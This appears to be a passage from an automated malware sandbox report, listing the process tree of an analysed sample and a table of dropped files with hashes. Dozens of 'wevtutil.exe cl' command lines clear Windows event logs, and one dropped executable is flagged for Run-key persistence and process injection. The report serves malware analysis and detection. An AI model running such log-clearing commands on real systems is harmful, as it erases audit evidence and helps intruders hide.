                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Debug"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:10588
                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Operational"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:14060
                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-CoreApplication/Diagnostic"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:7104
                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-CoreApplication/Operational"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:30108
                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-CoreApplication/Tracing"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:31960
                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Debug"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:33548
                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Operational"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:43240
                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-CoreWindow/Analytic"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                                                                                                PID:19980
                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-CoreWindow/Debug"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:16764
                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:18892
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:36976
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Crashdump/Operational"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:39172
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:9480
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Crypto-BCRYPT/Analytic"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:41896
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Crypto-CNG/Analytic"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                                                                                            PID:45716
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/BackUpKeySvc"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:40016
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Debug"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                                                                                                              PID:27856
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Operational"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                                                                                                              PID:16988
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Crypto-DSSEnh/Analytic"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                                                                                                              PID:18324
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Crypto-NCrypt/Operational"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:16920
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:47044
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Crypto-RSAEnh/Analytic"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:45156
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:51112
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:54472
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Analytic"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:38844
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Operational"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:40248
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-DAMM/Diagnostic"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:19904
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:20688
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-DDisplay/Analytic"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:2104
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-DDisplay/Logging"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:20908
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-DLNA-Namespace/Analytic"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:21024
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:36520
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-DSC/Admin"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1428
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-DSC/Analytic"
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                          PID:46800
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                        PID:1576
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:848
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:3916
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1164
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:1100
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:4860
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:3308
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:2056
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:22308
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:16044
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:992
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:1144
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:1152
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:1324
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1664
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1812
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2136
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2656
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2672
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2700
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2732
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\Explorer.EXE
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\Explorer.EXE
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                              PID:3176
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sub_79aff06385c1.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sub_79aff06385c1.exe"
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                PID:1184
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SysWOW64\mshta.exe" "C:\ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:44028
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3344
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:2172
                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                    PID:2600
                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                    PID:2160
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:15432
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:36256
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:36336
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:36356

                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                desktop.ini
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\$Recycle.Bin\S-1-5-21-2824035265-2271499813-2042964211-1000\desktop.ini
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 828ae24a0cd9214992c617219a06789fdff1cdc829d49f538258f46ec85691a8
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                lo.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\lo.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 61ddd11c7fb2d102ae2af61e59d07d15a9524d916d864f4bd76677ed7fd1fb9a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                lt.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\lt.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 36d49719a1f20936f751ed2cd519e352b9a7615f2b1ce3b39852b8d140ece04a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                lv.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\lv.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2269cc42a121ec1668281fbaa979cccef371fb1cf9cc96d25f3d9d90dab1f51e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                mi.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\mi.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 abdd965394fbee4e134b0f72cefd42c25ca8b9c013208ddff24a7379bd14a43d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                mk.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\mk.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.7MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ff07a9aed50eb2f2fd30bbacd126e40ff1195ea556df298f99aff74c91e693f2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ml.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ml.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 20165534054203236525127d06365f6a3b8e71e02619a840d79dea52b7a24f33
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                mr.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\mr.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 e4ab5c7d6adf44ba969a82d39fd8b8826fda23ff3f477ea906e57d17856d09dd
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ms.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ms.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.0MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8a09193355d6a3c44ec0eff23ce981b9db65af84bdba38d7aefadc6cf1b0a796
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                mt.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\mt.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d42968d803ad2a94265a3e6531bf46030f5583c6cd1608da34a661c74b3312e1
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                nb.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\nb.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 995KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2bfc4ea534ce94ed8aa8c2e97f74c26988801fb4936164ab47c6eeba56dbf287
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ne.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ne.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.3MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 262879fff8ba3e6dd84a6e3ad29709a51f9a14fdfef69f57e5da0059ff5fc8f3
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

